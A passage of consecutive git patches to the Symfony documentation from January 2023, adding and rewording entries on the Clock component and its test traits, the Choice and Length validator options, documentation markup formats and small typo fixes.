--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -302,6 +302,20 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+
+match
+~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When this option is ``false``, the constraint checks that the given value is
+not one of the values defined in the ``choices`` option. In practice, it makes
+the ``Choice`` constraint behave like a ``NotChoice`` constraint.
+
+.. versionadded:: 6.2
+
+    The ``match`` option was introduced in Symfony 6.2.
+
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 9d2ade8df4c..f52d35e40f0 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -195,19 +195,6 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
-match
-~~~~~
-
-**type**: ``boolean`` **default**: ``true``
-
-When this option is ``false``, the constraint checks that the given value is
-not one of the values defined in the ``choices`` option. In practice, it makes
-the ``Choice`` constraint behave like a ``NotChoice`` constraint.
-
-.. versionadded:: 6.2
-
-    The ``match`` option was introduced in Symfony 6.2.
-
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From c3a15e0f08ea60713fd1286ed242f8b8de525aa0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 15:33:14 +0100
Subject: [PATCH 4137/7107] Remove extra blank line

---
 reference/constraints/Choice.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 085ac5987da..b1b27bdd6fd 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -302,7 +302,6 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-
 match
 ~~~~~
 

From a2da56679aeddfe476bd6a598331b248cdeef996 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 16:04:19 +0100
Subject: [PATCH 4138/7107] Minor tweak

---
 testing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 036ef731586..301cdc4a918 100644
--- a/testing.rst
+++ b/testing.rst
@@ -311,7 +311,6 @@ concrete one::
                 ])
             ;
 
-            // the following line won't work unless the alias is made public
             $container->set(NewsRepositoryInterface::class, $newsRepository);
 
             // will be injected the mocked repository
@@ -326,8 +325,8 @@ that allows you to interact with private services and aliases.
 
 .. versionadded:: 6.3
 
-    The possibility to set a private service with the test service container without
-    declaring the alias as public was introduced in Symfony 6.3.
+    The possibility to set a private service with the test service container
+    without declaring a public alias for it was introduced in Symfony 6.3.
 
 .. _testing-databases:
 

From d2924f540e41c7eab757de8c911f3cc2119aab9a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 18 Jan 2023 00:01:25 +0100
Subject: [PATCH 4139/7107] Remove extra space before parenthesis

---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c49e53e9987..007ad99759f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -104,7 +104,7 @@ load correct services and parameters inside an "Extension" class.
 
     The root key of your bundle configuration (``acme_social`` in the previous
     example) is automatically determined from your bundle name (it's the
-    `snake case`_ of the bundle name without the ``Bundle`` suffix ).
+    `snake case`_ of the bundle name without the ``Bundle`` suffix).
 
 .. seealso::
 

From 9fa1840afee5ca2fbc3fd782c7d623ab9bf2166c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 14 Jan 2023 19:37:32 +0100
Subject: [PATCH 4140/7107] Clean doctor-rst whitelist configuration

---
 .doctor-rst.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f8a111cf2c6..dd62b8b93b3 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -78,12 +78,9 @@ whitelist:
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
-        - 'code in production without a proxy, it becomes trivially easy to abuse your'
-        - '.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
-        - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
@@ -93,12 +90,10 @@ whitelist:
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
-        - "//                  224, 165, 141, 224, 164, 164, 224, 165, 135])"
         - '.. versionadded:: 0.2' # MercureBundle
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '// bin/console'
-        - 'End to End Tests (E2E)'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'

From e84e3e8c6658185d778c7fe9b2098b2d485a4e10 Mon Sep 17 00:00:00 2001
From: Henrik Christensen <sensen1695@hotmail.com>
Date: Tue, 17 Jan 2023 16:03:38 +0100
Subject: [PATCH 4141/7107] add note about ->toStream()

---
 http_client.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 30c19eba07d..23cc928ac2a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1013,6 +1013,10 @@ following methods::
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
 
+.. note::
+
+    ``$response->toStream()`` is part of :class:`Symfony\\Component\\HttpClient\\Response\\StreamableInterface`.
+
 .. note::
 
     ``$response->getInfo()`` is non-blocking: it returns *live* information

From 99ac309f7000020c6c84d3d1082bb74ab47591a6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 21:22:58 +0100
Subject: [PATCH 4142/7107] [Validator] Mention `exactly` option for Length
 constraint

---
 reference/constraints/Length.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7baed971032..afe9f0c3c2a 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -163,6 +163,25 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+exactly
+~~~~~~~
+
+**type**: ``integer``
+
+This option is the exact length value. Validation will fail if
+the given value's length is not **exactly** equal to this value.
+
+.. note::
+
+    This option is the one being set by default when using the Length constraint
+    without passing any named argument to it. This means that for example,
+    ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
+    well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
+
+.. versionadded::
+
+    The named argument ``exactly`` was introduced in Symfony 5.2.
+
 exactMessage
 ~~~~~~~~~~~~
 

From fd74bd679368e41d287e4fdd0afc904984569903 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 18 Jan 2023 08:58:37 +0100
Subject: [PATCH 4143/7107] Add missing version in versionadded

---
 reference/constraints/Length.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index afe9f0c3c2a..26e93359729 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -178,7 +178,7 @@ the given value's length is not **exactly** equal to this value.
     ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
     well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
 
-.. versionadded::
+.. versionadded:: 5.2
 
     The named argument ``exactly`` was introduced in Symfony 5.2.
 

From 191be804fc5a86df74987a1856aebbe733e34a80 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 19:28:59 +0100
Subject: [PATCH 4144/7107] [Clock] Add ClockAwareTrait to help write
 time-sensitive classes

---
 components/clock.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 1cd9757d69d..d8fdf271487 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -104,3 +104,46 @@ the system up to nanosecond precision. It can be used to measure the elapsed
 time between two calls without being affected by inconsistencies sometimes introduced
 by the system clock, e.g. by updating it. Instead, it consistently increases time,
 making it especially useful for measuring performance.
+
+Using a Clock inside a Service
+------------------------------
+
+If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
+any service whose class uses the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` will
+benefit of a ``ClockInterface`` typed-property ``$clock`` with the default implementation
+passed as a service. Services using this trait will also benefit of a ``now()`` method.
+
+By using this trait in your services to retrieve the current time, it will be easier to
+write time-sensitive classes. For example, by using the ``MockClock`` implementation as the
+default one during tests, you will have full control of the "current time".
+
+This is also true for the other clock implementations, as you will be assured to always use
+the same clock implementation across your code each time you need it::
+
+    namespace App\TimeUtils;
+
+    use Symfony\Component\Clock\ClockAwareTrait;
+
+    class MonthSensitive
+    {
+        use ClockAwareTrait;
+
+        public function isWinterMonth(): bool
+        {
+            $now = $this->now();
+
+            return match ($now->format('F')) {
+                'December', 'January', 'February', 'March' => true,
+                default => false,
+            };
+        }
+    }
+
+Thanks to the ``ClockAwareTrait`` and by using the ``MockClock`` implementation,
+you will be able to test different times returned by ``now()``. This allows you
+to test every case of your method without the need of actually being in a month
+or another.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.

From d417467eed691bf1baa3d65aecf46f73dacc9974 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 09:17:56 +0100
Subject: [PATCH 4145/7107] [Validator] Remove superfluous `versionadded`

---
 reference/constraints/Length.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 3cdd0e11910..16d43f5741b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -138,10 +138,6 @@ the given value's length is not **exactly** equal to this value.
     ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
     well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
 
-.. versionadded:: 5.2
-
-    The named argument ``exactly`` was introduced in Symfony 5.2.
-
 exactMessage
 ~~~~~~~~~~~~
 

From c3962376a49904f4c5dad6dbb60572ce13d268bf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 13:53:09 +0100
Subject: [PATCH 4146/7107] [Contributing] Mention `php-symfony` and
 `php-standalone` markup formats

---
 contributing/documentation/format.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 83a18f1aaba..3bd2d28f742 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -90,11 +90,25 @@ The previous reStructuredText snippet renders as follow:
 
         // Configuration in PHP
 
+It may be relevant in some cases to write code examples when using the whole Symfony framework, but also
+when using components as standalone libraries without the whole framework installed. In this case, you
+may use special formats ``php-symfony`` and ``php-standalone``, which will be rendered like this:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // PHP code using features provided by the Symfony framework
+
+    .. code-block:: php-standalone
+
+        // PHP code using standalone components
+
 The current list of supported formats are the following:
 
-===================  ======================================
+===================  ==========================================================================================
 Markup Format        Use It to Display
-===================  ======================================
+===================  ==========================================================================================
 ``html``             HTML
 ``xml``              XML
 ``php``              PHP
@@ -105,7 +119,9 @@ Markup Format        Use It to Display
 ``ini``              INI
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
-===================  ======================================
+``php-symfony``      PHP code example when using the Symfony framework
+``php-standalone``   PHP code to be used in a standalone context, for example when using standalone components
+===================  ==========================================================================================
 
 Adding Links
 ~~~~~~~~~~~~

From bbaf5b003b68c87de39cd24ebe61bdffc57d1fd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Jan 2023 15:50:47 +0100
Subject: [PATCH 4147/7107] Reword

---
 components/clock.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index d8fdf271487..608b1fbcec8 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -108,17 +108,17 @@ making it especially useful for measuring performance.
 Using a Clock inside a Service
 ------------------------------
 
-If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
-any service whose class uses the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` will
-benefit of a ``ClockInterface`` typed-property ``$clock`` with the default implementation
-passed as a service. Services using this trait will also benefit of a ``now()`` method.
+Using the Clock component in your services to retrieve the current time makes
+them easier to test. For example, by using the ``MockClock`` implementation as
+the default one during tests, you will have full control to set the "current time"
+to any arbitrary date/time.
 
-By using this trait in your services to retrieve the current time, it will be easier to
-write time-sensitive classes. For example, by using the ``MockClock`` implementation as the
-default one during tests, you will have full control of the "current time".
+In order to use this component in your services, make their classes use the
+:class:`Symfony\\Component\\Clock\\ClockAwareTrait` and add a ``ClockInterface``
+typed-property ``$clock`` to their constructors.
 
-This is also true for the other clock implementations, as you will be assured to always use
-the same clock implementation across your code each time you need it::
+If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
+your services can now call the ``$this->now()`` method to get the current time::
 
     namespace App\TimeUtils;
 
@@ -139,10 +139,10 @@ the same clock implementation across your code each time you need it::
         }
     }
 
-Thanks to the ``ClockAwareTrait`` and by using the ``MockClock`` implementation,
-you will be able to test different times returned by ``now()``. This allows you
-to test every case of your method without the need of actually being in a month
-or another.
+Thanks to the ``ClockAwareTrait``, and by using the ``MockClock`` implementation,
+you can set the current time arbitrarily without having to change your service code.
+This will help you test every case of your method without the need of actually
+being in a month or another.
 
 .. versionadded:: 6.3
 

From 9987eddbb02728bbea0523d0704f7d5f0d937d0e Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Wed, 18 Jan 2023 18:14:09 +0100
Subject: [PATCH 4148/7107] [HttpKernel] Remove old caution from Symony <4

---
 components/http_kernel.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5108f1db35b..3cc8059f5e6 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -136,13 +136,6 @@ See ":ref:`http-kernel-working-example`" for a more concrete implementation.
 For general information on adding listeners to the events below, see
 :ref:`http-kernel-creating-listener`.
 
-.. caution::
-
-    As of 3.1 the :class:`Symfony\\Component\\HttpKernel\\HttpKernel` accepts a
-    fourth argument, which must be an instance of
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolverInterface`.
-    In 4.0 this argument will become mandatory.
-
 .. seealso::
 
     There is a wonderful tutorial series on using the HttpKernel component and

From 13d15fad9d186f227be1847f501b04fc00e83104 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 18:24:32 +0100
Subject: [PATCH 4149/7107] [Validator] Remove annotations from `exactly`
 option of Length constraint

---
 reference/constraints/Length.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 16d43f5741b..3f69c93b2ef 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -135,8 +135,7 @@ the given value's length is not **exactly** equal to this value.
 
     This option is the one being set by default when using the Length constraint
     without passing any named argument to it. This means that for example,
-    ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
-    well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
+    ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]`` are equivalent.
 
 exactMessage
 ~~~~~~~~~~~~

From 87a2dc27f1f18d6e90cf55471137f7cc96783271 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 18 Jan 2023 14:16:51 -0500
Subject: [PATCH 4150/7107] [Translation] fix wrong information

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 9e7d25d21c2..db8c4c37677 100644
--- a/translation.rst
+++ b/translation.rst
@@ -853,7 +853,8 @@ of:
 
 * All the services that are tagged with ``kernel.locale_aware``;
 * ``\Locale::setDefault()``;
-* If a request is available, the ``_locale`` request attribute::
+* If the ``RequestContext`` service is available, the ``_locale``
+  parameter (so urls are generated with the new locale)::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 

From d4f305dcb93fef9a9a069fd01276c9832cbe4dc4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 18:49:53 +0100
Subject: [PATCH 4151/7107] [Clock] Fix `ClockAwareTrait` usage

---
 components/clock.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 608b1fbcec8..22768894cc9 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -114,11 +114,11 @@ the default one during tests, you will have full control to set the "current tim
 to any arbitrary date/time.
 
 In order to use this component in your services, make their classes use the
-:class:`Symfony\\Component\\Clock\\ClockAwareTrait` and add a ``ClockInterface``
-typed-property ``$clock`` to their constructors.
+:class:`Symfony\\Component\\Clock\\ClockAwareTrait`. Thanks to
+:ref:`service autoconfiguration <services-autoconfigure>`, the ``setClock()`` method
+of the trait will automatically be called by the service container.
 
-If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
-your services can now call the ``$this->now()`` method to get the current time::
+You can now call the ``$this->now()`` method to get the current time::
 
     namespace App\TimeUtils;
 

From cb6da5426b1e4dbf77ab6dc5978a3e4320c2331e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jan 2023 11:31:43 +0100
Subject: [PATCH 4152/7107] Tweaks

---
 contributing/documentation/format.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 3bd2d28f742..f6492ec4277 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -90,9 +90,10 @@ The previous reStructuredText snippet renders as follow:
 
         // Configuration in PHP
 
-It may be relevant in some cases to write code examples when using the whole Symfony framework, but also
-when using components as standalone libraries without the whole framework installed. In this case, you
-may use special formats ``php-symfony`` and ``php-standalone``, which will be rendered like this:
+All code examples assume that you are using that feature inside a Symfony
+application. If you ever need to also show how to use it when working with
+standalone components in any PHP application, use the special formats
+``php-symfony`` and ``php-standalone``, which will be rendered like this:
 
 .. configuration-block::
 
@@ -106,9 +107,9 @@ may use special formats ``php-symfony`` and ``php-standalone``, which will be re
 
 The current list of supported formats are the following:
 
-===================  ==========================================================================================
+===================  ==============================================================================
 Markup Format        Use It to Display
-===================  ==========================================================================================
+===================  ==============================================================================
 ``html``             HTML
 ``xml``              XML
 ``php``              PHP
@@ -120,8 +121,8 @@ Markup Format        Use It to Display
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
 ``php-symfony``      PHP code example when using the Symfony framework
-``php-standalone``   PHP code to be used in a standalone context, for example when using standalone components
-===================  ==========================================================================================
+``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
+===================  ==============================================================================
 
 Adding Links
 ~~~~~~~~~~~~

From d5860b1ea86b2b8d84078f879445afba6e86a697 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 19:49:34 +0100
Subject: [PATCH 4153/7107] [Clock] Add ClockSensitiveTrait to help write
 time-sensitive tests

---
 components/clock.rst | 58 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 608b1fbcec8..cc3302231c5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -147,3 +147,61 @@ being in a month or another.
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
+
+Writing Time-Sensitive Tests
+----------------------------
+
+The Clock component provides another trait, this one easing you the writing of time-sensitive
+tests: the :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`. The purpose
+of this trait is to provide methods to freeze time and restore the global clock after
+each test.
+
+To interact with the mocked clock in your tests, you will have to use the ``ClockSensitiveTrait::mockTime()``
+method. This method accepts many types as its only argument:
+
+* A string, which can be a date or an interval. Examples: ``1996-07-01`` or ``+2 days``
+* A ``DateTimeImmutable`` to set the clock at
+* A boolean, to freeze or restore the global clock
+
+Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the above example.
+An approach of the test class could be written this way::
+
+    namespace App\Tests\TimeUtils;
+
+    use App\TimeUtils\MonthSensitive;
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\Clock\Test\ClockSensitiveTrait;
+
+    class MonthSensitiveTest extends TestCase
+    {
+        use ClockSensitiveTrait;
+
+        public function testIsWinterMonth(): void
+        {
+            $clock = static::mockTime(new \DateTimeImmutable('2022-03-02'));
+
+            $monthSensitive = new MonthSensitive();
+            $monthSensitive->setClock($clock);
+
+            $this->assertTrue($monthSensitive->isWinterMonth());
+        }
+
+        public function testIsNotWinterMonth(): void
+        {
+            $clock = static::mockTime(new \DateTimeImmutable('2023-06-02'));
+
+            $monthSensitive = new MonthSensitive();
+            $monthSensitive->setClock($clock);
+
+            $this->assertFalse($monthSensitive->isWinterMonth());
+        }
+    }
+
+It doesn't matter which time of the year you are running this test, it will always behave
+the same way. By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
+:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full control on
+your time-sensitive code's behavior.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.

From 3f8c53e82ab77fa396106ee31b3604e28a6b8f61 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Jan 2023 21:34:54 +0100
Subject: [PATCH 4154/7107] [Controller] Mention the use of the Clock component
 in `DateTimeValueResolver`

---
 controller/value_resolver.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 6ceeee77084..578b2738d56 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -94,10 +94,22 @@ Symfony ships with the following value resolvers in the
     You can restrict how the input can be formatted with the
     :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
 
+    .. tip::
+
+        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`,
+        which means you can have full control over the date and time values the controller receives when
+        testing your application. This can be achieved by using the
+        :class:`Symfony\\Component\\Clock\\MockClock` implementation in your test environment.
+
     .. versionadded:: 6.1
 
         The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
 
+    .. versionadded:: 6.3
+
+        The use of the :doc:`Clock component </components/clock>` to generate the
+        ``DateTimeInterface`` object was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From 0220d417585fd258bc85bd29f2919b51803fa6e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 10:48:17 +0100
Subject: [PATCH 4155/7107] Minor reword

---
 components/clock.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 0974356fa8e..9b3274bb457 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -151,20 +151,20 @@ being in a month or another.
 Writing Time-Sensitive Tests
 ----------------------------
 
-The Clock component provides another trait, this one easing you the writing of time-sensitive
-tests: the :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`. The purpose
-of this trait is to provide methods to freeze time and restore the global clock after
-each test.
+The Clock component provides another trait, called :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`,
+to help you write time-sensitive tests. This trait provides methods to freeze
+time and restore the global clock after each test.
 
-To interact with the mocked clock in your tests, you will have to use the ``ClockSensitiveTrait::mockTime()``
-method. This method accepts many types as its only argument:
+Use the ``ClockSensitiveTrait::mockTime()`` method to interact with the mocked
+clock in your tests. This method accepts different types as its only argument:
 
-* A string, which can be a date or an interval. Examples: ``1996-07-01`` or ``+2 days``
-* A ``DateTimeImmutable`` to set the clock at
-* A boolean, to freeze or restore the global clock
+* A string, which can be a date to set the clock at (e.g. ``1996-07-01``) or an
+  interval to modify the clock (e.g. ``+2 days``);
+* A ``DateTimeImmutable`` to set the clock at;
+* A boolean, to freeze or restore the global clock.
 
-Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the above example.
-An approach of the test class could be written this way::
+Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the
+above example. This is how you can write that test::
 
     namespace App\Tests\TimeUtils;
 
@@ -197,10 +197,10 @@ An approach of the test class could be written this way::
         }
     }
 
-It doesn't matter which time of the year you are running this test, it will always behave
-the same way. By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
-:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full control on
-your time-sensitive code's behavior.
+This test will behave the same no matter which time of the year you run it.
+By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
+:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full
+control on your time-sensitive code's behavior.
 
 .. versionadded:: 6.3
 

From 20d0834da82fcac0aeb36c3385468f8460043650 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Jan 2023 21:15:51 +0100
Subject: [PATCH 4156/7107] [Clock] Add `Clock` class and `now()` function
 documentation

---
 components/clock.rst | 60 +++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 57 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 9b3274bb457..0ca1200b2c8 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -34,8 +34,58 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+Usage
+-----
+
+The :class:`Symfony\\Component\\Clock\\Clock` class returns the current time and
+allows to use any implementation of the interface described by `PSR-20`_ as a global
+clock in your application::
+
+    use Symfony\Component\Clock\Clock;
+    use Symfony\Component\Clock\MockClock;
+
+    // You can set a custom clock implementation, or use the NativeClock default one
+    Clock::set(new MockClock());
+
+    // Then, you can get the clock instance
+    $clock = Clock::get();
+
+    // Additionally, you can set a timezone
+    $clock->withTimeZone('Europe/Paris');
+
+    // From here, you are able to get the current time
+    $now = $clock->now();
+
+    // And also to sleep for an amount of time
+    $clock->sleep(2.5);
+
+The Clock component also provides the ``now()`` function::
+
+    use function Symfony\Component\Clock\now;
+
+    // Get the current time as a DateTimeImmutable instance
+    $now = now();
+
+.. tip::
+
+    If you want to use the Clock component in your services, you may
+    have a look at the section about
+    :ref:`using a clock inside your services <clock_use-inside-a-service>`.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
+    were introduced in Symfony 6.3.
+
+Available Clocks Implementations
+--------------------------------
+
+The Clock component provides many ready-to-use implementations of the
+:class:`Symfony\\Component\\Clock\\ClockInterface`, which you can use
+as global clocks in your application depending on your needs.
+
 NativeClock
------------
+~~~~~~~~~~~
 
 A clock service replaces creating a new ``DateTime`` or
 ``DateTimeImmutable`` object for the current time. Instead, you inject the
@@ -60,7 +110,7 @@ determine the current time::
     }
 
 MockClock
----------
+~~~~~~~~~
 
 The ``MockClock`` is instantiated with a time and does not move forward on its own. The time is
 fixed until ``sleep()`` or ``modify()`` are called. This gives you full control over what your code
@@ -97,7 +147,7 @@ is expired or not, by modifying the clock's time::
     }
 
 Monotonic Clock
----------------
+~~~~~~~~~~~~~~~
 
 The ``MonotonicClock`` allows you to implement a precise stopwatch; depending on
 the system up to nanosecond precision. It can be used to measure the elapsed
@@ -105,6 +155,8 @@ time between two calls without being affected by inconsistencies sometimes intro
 by the system clock, e.g. by updating it. Instead, it consistently increases time,
 making it especially useful for measuring performance.
 
+.. _clock_use-inside-a-service:
+
 Using a Clock inside a Service
 ------------------------------
 
@@ -205,3 +257,5 @@ control on your time-sensitive code's behavior.
 .. versionadded:: 6.3
 
